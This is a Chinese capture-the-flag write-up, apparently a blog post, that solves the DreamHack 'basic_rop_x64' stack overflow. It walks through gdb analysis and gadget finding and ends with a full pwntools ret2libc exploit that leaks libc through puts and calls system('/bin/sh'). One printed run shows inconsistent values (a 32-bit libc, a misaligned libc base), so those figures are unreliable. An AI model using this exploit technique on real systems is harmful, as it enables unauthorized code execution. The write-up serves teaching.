【How2Pwn】DreamHack x64下的ROP问题

0x00 代码

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

题目链接

0x01 代码状态

$ checksec ./basic_rop_x64
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到这次是64位环境下的问题,而32位和64位最大的不同就是函数调用时采用的是不同的规则,64位是先将先将数据存入寄存器,如果寄存器不够用再调用stack。32位则是直接利用stack来保存必要的数据。

寄存器如下
rax -> 通常用于储存函数调用返回的结果
rbx
rcx -> 第4个参数
rdx -> 第3个参数
rsi -> 传递函数第2个参数
rdi -> 传递函数第1个参数
-------------------------------------------- 通用寄存器
rbp -> 当前栈帧起始位置,通常指向栈底
rsp -> 堆栈指针寄存器,通常指向栈顶
r8 -> 第5个参数
r9 -> 第6个参数
r10
r11

比较特殊的
rip -> 存放下一条指令的偏移地址
rsp -> 存放当前栈帧的栈顶偏移地址
rbp -> 存放当前栈帧的栈底偏移地址
rax -> 通用寄存器,存放返回值

另外,可以发现这段代码没有开启canary和PIE,只开启了NX。这意味这我们很难使用shellcode的方式得到shell,所以还是使用ROP的方式进行。由于程序没有开启RELRO,所以GOT表是有write权限的,意味着我们也可以使用GOT overwrite方法来取得shell。这里先使用计算system函数并且直接呼出的办法进行ROP。

0x02 分析

1. system函数没有记录

上一个题目不同,之前没有调用过system函数(大部分时候也不会),所以我们要想办法求出system函数的地址。至于"/bin/sh"要怎么得到,需要思考一下。

2. 存在overflow漏洞

0x03 设计Exploit

1. Overflow

通过gdb找到 buf 的地址

   0x00000000004007e7 <+45>:	lea    rax,[rbp-0x40]   <---在这里
   0x00000000004007eb <+49>:	mov    edx,0x400
   0x00000000004007f0 <+54>:	mov    rsi,rax
   0x00000000004007f3 <+57>:	mov    edi,0x0
   0x00000000004007f8 <+62>:	call   0x4005f0 <read@plt>

2. 求system函数地址

题目给了一个库"libc.so.6",而我们需要的system函数也在这个库中。不只是system函数,这个库中还包含了read, printf, write等一系列函数。这里需要注意一点,库在映射到内存的过程中是以整体的形式进行,也就是说虽然不清楚库的位置,但是库内函数的距离是不会随着映射而改变的。所以需要利用这一点,通过其他函数来求出库的偏移量,从而计算出system函数的地址。

3. 返回main,用第二次read函数执行system(“/bin/sh”)

因为这个程序只有一次使用read函数的机会,所以我们发送一段payload计算出system函数地址之后要返回main函数。重新执行第二个payload,最后通过使用system和"/bin/sh"来获得shell。

0x04 编写Exploit

1. Overflow

在read函数调用时,输入0x40+0x8(sfp)来达到ret地址。

2. 计算system函数地址

源代码中调用过read函数,也就是说read函数被记录在got表中的,我们可以利用read函数在got表中的地址减去在库中read函数的地址得到库整体的偏移量。但是首先要找到一个合适的函数输出read@got。用 info func 指令查看程序包含的函数。

$ info func
0x0000000000400590  _init
0x00000000004005c0  puts@plt          <---这里
0x00000000004005d0  write@plt
0x00000000004005e0  alarm@plt
0x00000000004005f0  read@plt
0x0000000000400600  __libc_start_main@plt
0x0000000000400610  signal@plt
0x0000000000400620  setvbuf@plt
0x0000000000400630  exit@plt
0x0000000000400640  __gmon_start__@plt
0x0000000000400650  _start
0x0000000000400680  deregister_tm_clones
0x00000000004006c0  register_tm_clones
0x0000000000400700  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400746  alarm_handler
0x000000000040075e  initialize
0x00000000004007ba  main             <---这里
0x0000000000400820  __libc_csu_init
0x0000000000400890  __libc_csu_fini
0x0000000000400894  _fini

可以用于输出的函数有 write 和 puts 两个,但是write需要三个变量才能调用,而puts只用一个变量就可以,比较方便。所以我们用puts函数对read@got进行输出。

write(int fd,const void*buf,size_t count);
puts(const char *string);

决定了需要用到的函数之后,在info func,可以找到puts@plt,main。在read函数之后设置断点,再输入got查看got表,找到read@got的地址。

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 8
 
[0x601018] puts@GLIBC_2.2.5 -> 0x4005c6 (puts@plt+6) ◂— push   0 /* 'h' */
[0x601020] write@GLIBC_2.2.5 -> 0x4005d6 (write@plt+6) ◂— push   1
[0x601028] alarm@GLIBC_2.2.5 -> 0x7ffff7ea5d90 (alarm) ◂— endbr64 
[0x601030] read@GLIBC_2.2.5 -> 0x7ffff7ed0fc0 (read) ◂— endbr64             <---这里
[0x601038] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7de6f90 (__libc_start_main) ◂— endbr64 
[0x601040] signal@GLIBC_2.2.5 -> 0x7ffff7e05f00 (ssignal) ◂— endbr64 
[0x601048] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e47ce0 (setvbuf) ◂— endbr64 
[0x601050] exit@GLIBC_2.2.5 -> 0x400636 (exit@plt+6) ◂— push   7

最后一步就是需要找到我们需要的gadget

$ ROPgadget --binary ./basic_rop_x64 --re "pop rdi"
Gadgets information
============================================================
0x0000000000400883 : pop rdi ; ret

Unique gadgets found: 1

第一段payload

from pwn import *
p = process("./basic_rop_x64")

libc = ELF('./libc.so.6')

main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030

#overflow
payload = b'A'*0x48

#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)

p.send(payload)

sleep(1)

#[2]libc base and system
print(p.recvuntil('A'*0x40))

# 通过查看库中函数的地址可以知道,前两位都是由\x00构成
read = u64(p.recvn(6)+b'\x00\x00') 
print("leak --> "+ str(hex(read)))

lb = read - libc.symbols['read']
print("libc base --> "+ str(hex(lb)))

system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))

binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+ str(hex(binsh)))

看一下运行的结果

$ python ex_x64.py
[+] Starting local process './basic_rop_x64': pid 2495
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
ex_x64.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(p.recvuntil('A'*0x40))
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
leak --> 0x7fae68666fc0
libc base --> 0x7fae68592c70
system --> 0x7fae685cd5b0
binsh --> 0x7fae686ebc9b

第二段payload

overflow之后返回system(“/bin/sh”)从而得到shell。

#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.send(payload2)
p.interactive()

0x05 Exploit

from pwn import *
p = process("./basic_rop_x64")

libc = ELF('./libc.so.6')

main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030

#overflow
payload = b'A'*0x48

#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)

p.send(payload)

sleep(1)

#libc base
print(p.recvuntil('A'*0x40))

read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+str(hex(read)))

lb = read - libc.symbols['read']
print("libc base --> "+str(hex(lb)))

system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))

binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+str(hex(binsh)))

#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.send(payload2)
p.interactive()

有不到位的或是错误的地方,请直接评论或者私信我。

参考资料
Exploit思路
write函数解析
puts函数解析

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值